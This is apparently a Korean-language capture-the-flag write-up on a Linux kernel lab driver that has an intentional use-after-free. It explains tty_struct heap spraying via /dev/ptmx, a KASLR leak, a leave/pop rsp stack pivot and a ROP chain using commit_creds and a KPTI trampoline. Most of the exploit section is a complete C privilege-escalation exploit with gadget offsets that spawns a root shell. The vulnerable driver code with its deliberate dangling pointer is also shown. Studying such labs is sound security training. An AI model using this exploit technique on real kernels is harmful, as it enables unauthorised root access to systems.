Table of Contents
Introduction #
디바이스 드라이버에 1024 바이트 use-after-free가 있을 때 stack pivot으로 루트를 얻을 수 있는지 묻는 문제이다[1].
Vulnerability #
주어진 드라이버는 objstore로 objstore_io와 obj_entry 구조체를 정의하여 사용한다. 이때 전자는 ioctl 인자 처리로, 후자는 내부 버퍼처럼 쓰인다.
1#define OBJ_SIZE 1024 /* matches kmalloc-1024, same as tty_struct */
2
3struct objstore_io {
4 unsigned long idx;
5 unsigned long size;
6 char __user *data;
7};
8
9/*
10 * Object layout — a simple data blob. The entire 1024 bytes are
11 * available to the user. When a tty_struct lands in the same slot
12 * after the UAF, the first 8 bytes overlap with tty->magic and
13 * bytes 24-32 overlap with the tty_operations pointer.
14 */
15struct obj_entry {
16 char data[OBJ_SIZE];
17};
이제 objstore_ioctl 함수 구현을 보면, 할당 (= CMD_CREATE), 해제 (= CMD_DELETE), 읽기 (= CMD_READ), 쓰기 (= CMD_WRITE) 명령어를 처리한다. 할당 명령어로 얻은 메모리 주소는 전역 배열에 기록되는데, 해제 명령어는 이를 NULL로 초기화하지 않는다. 그래서 UAF를 트리거 할 수 있다.
1static struct obj_entry *objects[MAX_OBJECTS];
2static DEFINE_MUTEX(store_lock);
3
4static long objstore_ioctl(struct file *f, unsigned int cmd, unsigned long arg)
5{
6 struct objstore_io io;
7 long ret = 0;
8
9 if (cmd == CMD_DELETE) {
10 /*
11 * CMD_DELETE takes just an index via arg directly.
12 * This keeps the ioctl interface minimal.
13 */
14 unsigned long idx = arg;
15 mutex_lock(&store_lock);
16 if (idx >= MAX_OBJECTS || !objects[idx]) {
17 mutex_unlock(&store_lock);
18 return -ENOENT;
19 }
20 kfree(objects[idx]);
21 /*
22 * BUG: pointer NOT set to NULL after free.
23 *
24 * This is the classic dangling-pointer pattern seen in real
25 * kernel drivers (cf. CVE-2021-22555, CVE-2022-2588).
26 * The slot still holds the old address, so subsequent
27 * CMD_READ / CMD_WRITE access freed memory.
28 */
29 mutex_unlock(&store_lock);
30 return 0;
31 }
32
33 if (copy_from_user(&io, (void __user *)arg, sizeof(io)))
34 return -EFAULT;
35
36 if (io.idx >= MAX_OBJECTS)
37 return -EINVAL;
38
39 mutex_lock(&store_lock);
40
41 switch (cmd) {
42 case CMD_CREATE:
43 if (objects[io.idx]) {
44 ret = -EEXIST;
45 break;
46 }
47 objects[io.idx] = kmalloc(OBJ_SIZE, GFP_KERNEL);
48 if (!objects[io.idx]) {
49 ret = -ENOMEM;
50 break;
51 }
52 memset(objects[io.idx], 0, OBJ_SIZE);
53 break;
54
55 case CMD_READ:
56 if (!objects[io.idx]) {
57 ret = -ENOENT;
58 break;
59 }
60 if (io.size > OBJ_SIZE)
61 io.size = OBJ_SIZE;
62 /*
63 * If the slot was freed and reclaimed by a tty_struct,
64 * this leaks tty_struct contents including the
65 * tty_operations pointer → KASLR defeat.
66 */
67 if (copy_to_user(io.data, objects[io.idx]->data, io.size)) {
68 ret = -EFAULT;
69 break;
70 }
71 break;
72
73 case CMD_WRITE:
74 if (!objects[io.idx]) {
75 ret = -ENOENT;
76 break;
77 }
78 if (io.size > OBJ_SIZE)
79 io.size = OBJ_SIZE;
80 /*
81 * If the slot was freed and reclaimed by a tty_struct,
82 * this overwrites tty_struct fields — including the
83 * tty_operations function-pointer table. The attacker
84 * can redirect any tty operation (e.g. ioctl, write)
85 * to a stack-pivot gadget → kernel ROP.
86 */
87 if (copy_from_user(objects[io.idx]->data, io.data, io.size)) {
88 ret = -EFAULT;
89 break;
90 }
91 break;
92
93 default:
94 ret = -ENOTTY;
95 }
96
97 mutex_unlock(&store_lock);
98 return ret;
99}
Exploit #
Objstore_ioctl()에서 메모리를 할당하거나 해제할 때 그 크기는 1024 바이트이다. 그래서 1024 바이트 UAF가 가능하고, 이 경우에 타겟 구조체로 tty_struct가 유용함이 알려져 있다[2].
Heap spray #
Tty_struct 구조체를 spray할 때는 /dev/ptmx를 사용한다. 이 파일을 열 때 이 구조체가 할당되며, 해제된 메모리에 할당되었는지 여부를 확인할 때는 obj_entry 구조체를 읽어서 커널 주소가 있는지 검사하면 된다. 그 이유는 tty_struct가 커널 영역의 주소를 갖는 포인터 멤버들을 포함하기 때문이다 (include/linux/tty.h에서 발췌)[4].
1struct tty_struct {
2 struct kref kref;
3 struct device *dev;
4 struct tty_driver *driver;
5 const struct tty_operations *ops;
6 int index;
7
8 struct ld_semaphore ldisc_sem;
9 struct tty_ldisc *ldisc;
10 /* ... */
11}
Bypass KASLR #
상기 ptmx 파일을 열어서 할당되는 tty_struct 구조체의 멤버 중 ops 포인터 변수는 ptm_unix98ops 전역 변수의 주소를 담고 있다. 따라서 이 포인터 변수값을 읽으면 커널의 시작 주소를 얻을 수 있다.
Control flow hijacking #
상기 ptmx 파일을 descriptor로 하여 호출된 ioctl 시스템 콜은 tty_ioctl()을 호출한다. 이때 TCFLSH 명령어에 인자로 0을 주면 tty->ops->ioctl로 넘어간다 (/drivers/tty/tty_io.c에서 발췌)[4].
1long tty_ioctl(struct file *file, unsigned int cmd, unsigned long arg)
2{
3 struct tty_struct *tty = file_tty(file);
4 struct tty_struct *real_tty;
5 void __user *p = (void __user *)arg;
6 int retval;
7 struct tty_ldisc *ld;
8
9 /* ... */
10
11 /*
12 * Now do the stuff.
13 */
14 switch (cmd) {
15 /* ... */
16 case TCFLSH:
17 switch (arg) {
18 case TCIFLUSH:
19 case TCIOFLUSH:
20 /* flush tty buffer and allow ldisc to process ioctl */
21 tty_buffer_flush(tty, NULL);
22 break;
23 }
24 break;
25 /* ... */
26 }
27 if (tty->ops->ioctl) {
28 retval = tty->ops->ioctl(tty, cmd, arg);
29 if (retval != -ENOIOCTLCMD)
30 return retval;
31 }
32 /* ... */
33 return retval;
34}
Stack pivot #
상기 tty->ops->ioctl을 호출하는 시점에서 RBP는 tty_struct의 시작 주소를 갖는다. 이는 tty->ops->ioctl에 쓰레기값을 대입한 후에 커널 패닉을 발생시키면 알 수 있다. 그래서 leave 가젯을 통해 stack pivot을 할 수 있고, 최종적으로 다음과 같이 tty_struct를 구성한다[2].
1struct tty_struct {
2 +000: kref : 0x5401
3 +008: dev; : `pop rsp` gadget (return addr of `leave`)
4 +010: driver; : &tty_struct + 0x170 (`pop rsp`ed) (MUST be valid kheap addr)
5 +018: ops; : &tty_struct + 0x50
6 +020: index;
7 ...
8 +050: : fake vtable (size=0x120)
9 ...
10 +110: : tty->ops->ioctl (points to `leave` gadget)
11 ...
12 +170: : actual ROP chain
13 ...
14}
위와 같이 구성하기 위해서는 tty_struct의 시작 주소를 알고 있어야 한다. 이는 tty_struct의 ldisc_sem이 초기에는 자기 자신의 주소를 갖는다는 점을 이용하여 얻을 수 있다.
Ret2usr and exploit code #
상기 ROP 체인 (actual ROP chain)은 pop rdi 가젯으로 commit_creds(prepare_kernelcred(0))을 하고 kernel page table isolation (KPTI) trampoline 후에 스택을 사용자 레지스터로 채워주면 된다[5, 6].
지금까지 설명한 것을 C 코드로 작성하면 다음과 같다.
1#include <stdio.h>
2#include <stdint.h>
3#include <stdlib.h>
4#include <unistd.h>
5#include <fcntl.h>
6#include <sys/ioctl.h>
7#include <linux/ioctl.h>
8
9enum {
10 MAX_OBJECTS = 16,
11 OBJ_SIZE = 1024
12};
13
14#define CMD_CREATE _IOW('O', 1, struct objstore_io)
15#define CMD_READ _IOR('O', 2, struct objstore_io)
16#define CMD_WRITE _IOW('O', 3, struct objstore_io)
17#define CMD_DELETE _IO('O', 4)
18
19struct objstore_io {
20 unsigned long idx;
21 unsigned long size;
22 char *data;
23};
24
25struct tty_structure {
26 int kref;
27 void *dev;
28 void *driver;
29 void *ops;
30 int index;
31};
32
33enum {
34 KBASE_NOKASLR = 0xffffffff81000000,
35 LDSEM_READ_OFF = 0x38,
36};
37
38void die(const char *funcname)
39{
40 perror(funcname);
41 exit(-1);
42}
43
44void printtty(struct tty_structure *tty)
45{
46 printf("kref: %d\n", tty->kref);
47 printf("dev: %p\n", tty->dev);
48 printf("driver: %p\n", tty->driver);
49 printf("ops: %p\n", tty->ops);
50 printf("index: %d\n", tty->index);
51}
52
53void printbytes(uint64_t *buf, size_t len)
54{
55 size_t i;
56
57 for (i = 0; i < len; i++)
58 printf("0x%016lx\n", buf[i]);
59}
60
61enum {
62 SPRAY_COUNT = 128
63};
64int fds[SPRAY_COUNT];
65
66int ptmx_spray(int fd, struct objstore_io *arg)
67{
68 unsigned int i;
69 int res;
70 struct tty_structure *tty;
71
72 for (i = 0; i < SPRAY_COUNT; i++) {
73 fds[i] = open("/dev/ptmx", O_RDWR);
74 if (fds[i] == -1)
75 die("open");
76
77 res = ioctl(fd, CMD_READ, arg);
78 if (res == -1)
79 die("ioctl");
80
81 tty = (struct tty_structure *) arg->data;
82 if (((uint64_t) tty->ops & 0xffffffff00000000) == 0xffffffff00000000) {
83 printf("[*] fd: %d\n", fds[i]);
84 return fds[i];
85 }
86 }
87}
88
89void ptmxes_close(void)
90{
91 unsigned int i;
92
93 for (i = 0; i < SPRAY_COUNT; i++)
94 close(fds[i]);
95}
96
97void start_sh()
98{
99 char *args[] = {"/bin/sh", "-i", NULL};
100
101 execve("/bin/sh", args, NULL);
102}
103
104unsigned long u_cs;
105unsigned long u_ss;
106unsigned long u_rsp;
107unsigned long u_rflags;
108unsigned long u_rip;
109
110void save_state() {
111 __asm__(
112 ".intel_syntax noprefix;"
113 "mov u_cs, cs;"
114 "mov u_ss, ss;"
115 "mov u_rsp, rsp;"
116 "pushf;"
117 "pop u_rflags;"
118 ".att_syntax;"
119 );
120 u_rip = (unsigned long) &start_sh;
121}
122
123void ret2usr_tty_struct(uint64_t *buf, uint64_t ttybase, uint64_t kbase)
124{
125 struct tty_structure *tty;
126 uint64_t bufptr;
127 uint64_t leave = kbase + (0xffffffff810fe715 - KBASE_NOKASLR);
128 uint64_t pop_rsp = kbase + (0xffffffff8102b3c8 - KBASE_NOKASLR);
129 uint64_t pop_rdi = kbase + (0xffffffff810fb12f - KBASE_NOKASLR);
130 uint64_t prepare_kernel_cred = kbase + (0xffffffff8109abb0
131 - KBASE_NOKASLR);
132 uint64_t commit_creds = kbase + (0xffffffff8109a910 - KBASE_NOKASLR);
133 uint64_t kpti_trampoline = kbase + (0xffffffff81e00f41 - KBASE_NOKASLR);
134
135 save_state();
136
137 tty = (struct tty_structure *) buf;
138 tty->ops = ttybase + 0x50;
139 bufptr = (uint64_t) buf;
140 bufptr += 0x50; /* ops */
141 bufptr += 96; /* ops->ioctl */
142 *((uint64_t *) bufptr) = leave; /* leave; ret */
143 tty->dev = pop_rsp; /* pop rsp; ret */
144 tty->driver = ttybase + 0x170;
145 bufptr = (uint64_t) buf;
146 bufptr += 0x170;
147 *((uint64_t *) bufptr) = pop_rdi; /* pop rdi; ret */
148 bufptr += 0x8;
149 *((uint64_t *) bufptr) = 0x0000000000000000;
150 bufptr += 0x8;
151 *((uint64_t *) bufptr) = prepare_kernel_cred; /* prepare_kernel_cred */
152 bufptr += 0x8;
153 *((uint64_t *) bufptr) = commit_creds; /* commit_cred */
154 bufptr += 0x8;
155 *((uint64_t *) bufptr) = kpti_trampoline; /* KPTI trampoline */
156 bufptr += 0x8;
157 *((uint64_t *) bufptr) = 0x0000000000000000;
158 bufptr += 0x8;
159 *((uint64_t *) bufptr) = 0x0000000000000000;
160 bufptr += 0x8;
161 *((uint64_t *) bufptr) = u_rip;
162 bufptr += 0x8;
163 *((uint64_t *) bufptr) = u_cs;
164 bufptr += 0x8;
165 *((uint64_t *) bufptr) = u_rflags;
166 bufptr += 0x8;
167 *((uint64_t *) bufptr) = u_rsp;
168 bufptr += 0x8;
169 *((uint64_t *) bufptr) = u_ss;
170}
171
172int main(int argc, char *argv[])
173{
174 int fd, ptmx_fd, res, idx;
175 struct objstore_io arg;
176 struct tty_structure *tty;
177 uint8_t buf[BUFSIZ] = { 0x41, };
178 uint64_t kbase, ttybase;
179
180 fd = open("/dev/objstore", O_RDWR);
181 if (fd == -1)
182 die("open");
183
184 arg.idx = 0;
185 if (argc == 2)
186 arg.idx = atoi(argv[1]);
187 printf("[*] idx: %ld\n", arg.idx);
188 arg.size = OBJ_SIZE;
189 arg.data = buf;
190 res = ioctl(fd, CMD_CREATE, &arg);
191 if (res == -1)
192 die("ioctl");
193 puts("[+] obj_entry allocated");
194
195 idx = arg.idx;
196 printf("[*] idx: %d\n", idx);
197 res = ioctl(fd, CMD_DELETE, idx);
198 if (res == -1)
199 die("ioctl");
200
201 ptmx_fd = ptmx_spray(fd, &arg);
202 puts("[+] Ptmx sprayed");
203
204 res = ioctl(fd, CMD_READ, &arg);
205 if (res == -1)
206 die("ioctl");
207
208 tty = (struct tty_structure *) buf;
209 kbase = (uint64_t) tty->ops - (0xffffffff82281b00 - KBASE_NOKASLR);
210 printf("[*] Kernel base: %p\n", (void *) kbase);
211
212 /* printbytes((uint64_t *) buf, OBJ_SIZE >> 3); */
213 ttybase = *((uint64_t *) buf + (LDSEM_READ_OFF >> 3));
214 ttybase -= LDSEM_READ_OFF;
215 printf("[*] TTY base: %lx\n", ttybase);
216
217 ret2usr_tty_struct((uint64_t *) buf, ttybase, kbase);
218 res = ioctl(fd, CMD_WRITE, &arg);
219 if (res == -1)
220 die("ioctl");
221 puts("[+] Data written");
222
223 /* tty->ops->ioctl is 0xffffffff845561f0 */
224 res = ioctl(ptmx_fd, TCFLSH, 0);
225 if (res == -1)
226 die("ioctl");
227
228 ptmxes_close();
229 return 0;
230}
References #
- 0xCD4, "kernel-ctf-lab." github.com, Accessed: Apr. 27, 2026. [Online]. Available: https://github.com/0xCD4/kernel-ctf-lab
- smallkirby, "tty_struct." github.com, Accessed: Apr. 27, 2026. [Online]. Available: https://github.com/smallkirby/kernelpwn/blob/master/technique/tty_struct.md
- ptr-yudai, "Holestein v3: Use-after-Freeの悪用." pawnyable.cafe, Accessed: Apr. 27, 2026. [Online]. Available: https://pawnyable.cafe/linux-kernel/LK01/use_after_free.html
- Linus Torvalds et al., "Linux kernel", (Version 6.1.75) [Source Code]. https://github.com/torvalds/linux
- ssongk, "[hxpCTF 2020] kernel-rop (with write-up) (2)." ssongkit.tistory.com, Accessed: Apr. 27, 2026. [Online]. Available: https://ssongkit.tistory.com/821
- "Linux Kernel Exploitation - ret2usr." scoding.de, Accessed: Apr. 27, 2026. [Online]. Available: https://scoding.de/linux-kernel-exploitation-buffer_overflow